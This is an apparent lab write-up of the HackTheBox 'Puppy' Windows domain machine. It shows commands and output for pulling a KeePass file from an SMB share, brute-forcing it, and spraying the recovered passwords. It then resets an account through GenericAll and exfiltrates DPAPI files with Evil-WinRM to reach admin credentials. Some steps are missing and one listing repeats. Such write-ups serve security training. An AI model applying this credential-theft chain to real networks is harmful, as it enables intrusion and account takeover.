This Windows Medium box starts with our user having write permissions over the DEVELOPERS group. Once we look at shares we find available to use the DEV share. In this share lies a keepass database, which we exfiltrate to our machine. Once done we crack the password to the database and discover users and credentials. After password spraying we have another valid user, and this user is in the SENIOR DEVS group, with GenericAll to user Adam.Silver. After re-enabling his account, we can finally get on the box. Going to the root directory we find a Backups directory with a zip file containing an xml file with credentials for Steph.Cooper. Using these credentials we login, and if we looked at bloodhound or other users we noticed a steph.cooper_adm. With access to this users AppData we exfiltrate the file required for DPAPI. Once we dump DPAPI, we find credentials for steph.cooper_adm.
Starts as an assumed breach with credentials: levi.james / KingofAkron2025!
Before we didn’t have read access over the DEV share. Now we can see what lingers in this share.
1 2 3 4 5 6 7 8 9 10 11 12 13
konoha# impacket-smbclient 'puppy.htb/levi.james:KingofAkron2025!@puppy.htb' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands # use DEV # ls drw-rw-rw- 0 Sun Mar 23 02:07:57 2025 . drw-rw-rw- 0 Sat Mar 8 10:52:57 2025 .. -rw-rw-rw- 34394112 Sun Mar 23 02:09:12 2025 KeePassXC-2.7.9-Win64.msi drw-rw-rw- 0 Sun Mar 9 15:16:16 2025 Projects -rw-rw-rw- 2677 Tue Mar 11 21:25:46 2025 recovery.kdbx # mget recovery.kdbx [*] Downloading recovery.kdbx
A keepass database, we can crack this hash using keepass2john, or I just used keepass4brute.sh.
1 2 3 4 5 6 7 8
konoha# ./keepass4brute.sh ~/Documents/htb/machines/TMP/recovery.kdbx /usr/share/wordlists/rockyou.txt keepass4brute 1.3 by r3nt0n https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344393 - Attempts per minute: 86 - Estimated time remaining: 16 weeks, 3 days [+] Current attempt: liverpool
[*] Password found: liverpool
Show me your moves!!
Once in the database we have some users and some passwords we can sort through.
We can go and password spray, once we do we get a hit.
1 2 3 4 5 6
konoha# nxc smb puppy.htb -u users.lst -p passwd.lst --continue-on-success SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) <SNIP> SMB 10.10.11.70 445 DC [-] PUPPY.HTB\levi.james:Antman2025! STATUS_LOGON_FAILURE SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025! SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_LOGON_FAILURE
Lets see what he has in bloodhound.
So GenericAll, we can simply just change his password and get on the box.
Mode LastWriteTime Length Name ---- ------------- ------ ---- d---s- 3/8/2025 7:53 AM Credentials d---s- 3/8/2025 7:40 AM Crypto d----- 3/8/2025 7:40 AM Internet Explorer d----- 3/8/2025 7:40 AM Network d---s- 3/8/2025 7:40 AM Protect d----- 5/8/2021 1:20 AM Spelling d---s- 2/23/2025 2:35 PM SystemCertificates d----- 2/23/2025 2:36 PM Vault d----- 3/8/2025 7:52 AM Windows
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft> cd windows *Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\windows> ls
Mode LastWriteTime Length Name ---- ------------- ------ ---- d---s- 3/8/2025 7:53 AM Credentials d---s- 3/8/2025 7:40 AM Crypto d----- 3/8/2025 7:40 AM Internet Explorer d----- 3/8/2025 7:40 AM Network d---s- 3/8/2025 7:40 AM Protect d----- 5/8/2021 1:20 AM Spelling d---s- 2/23/2025 2:35 PM SystemCertificates d----- 2/23/2025 2:36 PM Vault d----- 3/8/2025 7:52 AM Windows
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft> cd Protect *Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect> ls
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107 to S-1-5-21-1487982659-1829050783-2281216199-1107
Info: Download successful!
Impacket this papi!
Now lets dump with impacket-dpapi and see what we have.
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> cd \Users\Administrator\Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls